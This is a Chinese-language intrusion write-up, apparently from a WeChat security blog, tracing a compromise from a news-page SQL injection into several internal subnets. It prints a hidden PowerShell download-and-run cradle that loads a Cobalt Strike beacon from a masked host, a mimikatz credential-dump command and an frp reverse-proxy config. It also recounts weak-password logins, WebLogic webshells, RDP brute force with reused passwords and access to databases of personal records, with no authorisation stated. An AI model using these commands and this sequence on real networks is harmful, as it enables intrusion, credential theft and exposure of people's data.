记一次内网渗透（详细）

外部SQL注入打点进入内网

入口点，为某前台新闻页面id的SQL注入，网站没有WAF，可直接SQLMAP --os-shell获取目标shell

获取到目标的os-shell后，利用tasklist查看目标进程，发现没有杀软进程，且目标主机出网，直接采用CobaltStrike的Scripted Web Delivery(s)托管powershell beacon脚本，远程加载上线CS

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxx.xxxx.xxx.xxx:8848/a'))"

获取到CS Beacon后，利用ifconfig命令查询目标IP，发现目标存在2个内网IP

以太网适配器 本地连接 3:  
   连接特定的 DNS 后缀 . . . . . . . :     本地链接 IPv6 地址. . . . . . . . : fe80::5834:a168:5cb1:11c2%15     IPv4 地址 . . . . . . . . . . . . : 10.68.1.102     子网掩码  . . . . . . . . . . . . : 255.255.255.0     默认网关. . . . . . . . . . . . . : 10.68.1.254  
以太网适配器 本地连接 2:  
   连接特定的 DNS 后缀 . . . . . . . :     本地链接 IPv6 地址. . . . . . . . : fe80::847:d1e5:14e:63ca%13     IPv4 地址 . . . . . . . . . . . . : 192.168.101.160     子网掩码  . . . . . . . . . . . . : 255.255.252.0     默认网关. . . . . . . . . . . . . : 192.168.100.1

这里发现，网络连接状态中没有公网IP，这里推测应该是通过端口映射将内网web站点映射到了公网（目标不在域内），且目标主机存在数据库（非站库分离）

之后利用mimikatz抓取用户密码

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit

获取到用户密码：

administrator Huaxxxxx

为了进一步对内网进行渗透，这里采用frp进行反向代理，其frp配置了SOCKS5和HTTP代理，详细配置

[common]server_addr = VPS_IPserver_port = 7000
[http-proxy]type = tcpremote_port = 6000plugin = http_proxy
[socks5-proxy]type = tcpremote_port = 6001plugin = socks5

配置好socks5和http代理后，采用fscan对目标内网进行扫描（这里首先是192.168.101所在的网段），发现192.168.100.1存在Huawei路由器的web服务，其弱口令为audit-admin Aa123456

其余没什么较为有用的资产。

对10.68.1.1网段进行渗透，由于是工作组，这里有3个思路进行突破

1.利用弱口令进行服务爆破,利用mysql udf,redis 未授权getshell / redis 主从RCE等（失败）2.对该网段进行web服务扫描,寻找web服务的漏洞进行突破3.对该网段进行ms17-010扫描和利用（失败）

利用fscan对目标内网进行扫描，共发现如下可利用信息

ssh 弱口令 8台FTP 弱口令 10台   mysql 弱口令 4台  尝试了mysql的udf提权（失败）redis 未授权 1台  尝试了redis未授权getshell （失败）mssql 弱口令 1台  web服务 若干（实际可利用大概一台）vsphere client  （大约8台）尝试了历史CVE漏洞，均失败

对web服务进行了扫描，发现该段web服务的弱口令绝大部分为网络设备，且存在vsphere client，可以确定目标网络存在域环境。其中在10.68.1.29发现了xxxx管理追溯中心，经过测试，发现输入框处存在以单引号闭合的SQL注入，由于目标不出网利用中继beacon成功上线cs。

通过对外网的连通性测试（ping www.baidu.com），发现目标主机不出网，且目前只拥有os-shell

两种利用情况

1.利用os-shell查询网站根目录,在利用echo命令将一句话木马写入,采用webshell管理工具代理连接目标shell（情况不适用，目标目录存在多个克隆出的站点，无法判断当前使用的是哪一个站点）2.对于无杀软主机,可以创建用户，远程桌面登录上线CS beacon

利用tasklist发现目标主机无杀软，直接添加用户利用socks5代理登录远程桌面（篇幅有限，中继上线后续补发详细思路和教程）

此时状态如下：

之后就是对本机进行信息搜集，发现该机器内的数据库存储着大量的物品和使用人的详细记录（较为重要）

且抓取到了多组用户名密码，此时，密码信息为）

Administrator  Huaxxxx123 xxxxcssd Admxxxxxxx

通过此些密码对10.68.1.1/24进行rdp爆破，成功获取到了10.68.1.92主机的rdp远程桌面的密码（Administrator  Huxxxxx）

对该机器信息搜集完毕，在10.68.1.99发现了h3h的路由器，并采用弱口令（admin axxxxx）进入管理页面，载器IP地址段分配处发现了部分网段的分配规则

对10.68.4.1进行fscan扫描，发现该网段存在少数web服务，但均是空白页面，无法访问，无弱口令，无其他服务（应该挺重要的网段），于是放弃对该网段的渗透

对于10.68.33.1，该网段为门xx部门的网段（很重要），尝试了对该内网网段的web服务探测，但是发现绝大部分的web服务无法访问，且rdp爆破无果，无如数据库，ssh等服务端口，但部分主机拥有ms17-010，利用proxychains4将本地kali中的msf带入内网，利用exploit/windows/x64/smb/smb_ms17010模块进行攻击，发现无法进行利用，便暂时放弃了这个网段

之后在10.68.1.11处又发现了一个锐捷的网关，利用锐捷的默认口令admin、firewall，成功登录

在该网关的报表中心，发现了对历史网络状况的监控日志，其中发现，不少内网用户的网络行为经常访问以下IP

10.120.84.5 （xxxxxx结算平台）10.124.1.68 （weblogic管理页面）

于是尝试对10.124.1.68所在的网段进行渗透，同10.68.1.1/24网段相同，利用了fscan对目标的web服务，服务弱口令，ms-17010（均利用失败）进行扫描，发现在10.124.1.1/24下存在部分weblogic和tomact的示例页面。

此时我们的思路可以进行拓展

对weblogic的利用1.弱口令进后台部署war包getshell2.利用CVE-2020-14882 CVE-2020-14883 未授权访问绕过和远程代码执行的组合利用3.利用CVE-2020-14882 CVE-2019-2725 未授权访问绕过和xml的反序列化命令执行组合利用对Tomact的利用1.弱口令进后台部署war包getshell（可参考 https://blog.csdn.net/Blood_Pupil/article/details/88660728 漏洞复现之Tomcat后台War包上传Getshell）

这里最初没有尝试出来弱口令，所以刚开始利用了CVE的组合拳进行攻击，但是由于目标不出网，最初尝试了利用内网弱口令拿下的Linux做web和监听机器，来监听反弹shell，但均失败，于是尝试了对控制台的基本爆破，发现目标存在弱口令weblogic，wexxxx，利用弱口令成功登录，并部署war包成功getsehll

同样利用此弱口令getshell了内网多台的weblogic控制台机器。

10.120.84.410.124.1.6810.124.1.54

之后利用哥斯拉上传了mimikatz来抓取密码

此时我们的密码本扩大为了（这里为了隐私，未放出密码）

10.68.1.102  -- Administrator10.68.1.29  -- 123   -- cssd 10.124.1.68  -- windows   -- Administrator

采用rdp对该网段进行爆破，发现存在大量的共同密码（这里的操作，相当于撞库攻击）

此时爆破出了该段的若干台主机的rdp和ssh密码，我们的入侵点也瞬间扩大。尝试对每一台主机进行信息搜集，发掘我们想要的目标。

其中在部分主机的远程桌面记录发现了对其他网段主机的连接记录。例如

10.124.1.162 -->  10.124.1.70 (70为双网卡主机，其另一张网卡连接192.168.102.248) (主机出网)

该网段似乎为办公网段，对内网进行扫描，并未发现web服务，和其他有用的服务（价值不大）

10.124.1.90 --> 172.128.16.213(目标主机不出网)

这里发现了网段间奇妙的问题，发现只有10.124.1.90这台主机可ping通172.128.1.1段的网络（不知道网管是怎么设置的，没摸明白，但是觉得可能是网关IP白名单了）。并且该网段密码似乎通用，为rsxxxxxxx，通过观察，该网段似乎为下属的结款的系统（绝大部分都开着结款的web页面）

回到10.124.1.1/24网段，其中在10.124.1.57 / 10.124.1.64 发现了SQL服务器，里面存储着大量的数据信息（很重要的资产），尝试将这些重要的资产上线CS，期间发现了目标主机存在360，但是此时，我们已经拿到了rdp密码，所以360几乎毫无威胁，于是直接生成中继10.124.70.1的beacon，上线CS

此时，会话列表如下：

总结：

最后在两台远程桌面上的oracle数据库上发现了大量数据，至此，这段渗透告一段落。。。。。。

本文始发于微信公众号（Fight Tigers Team）：记一次内网渗透（详细）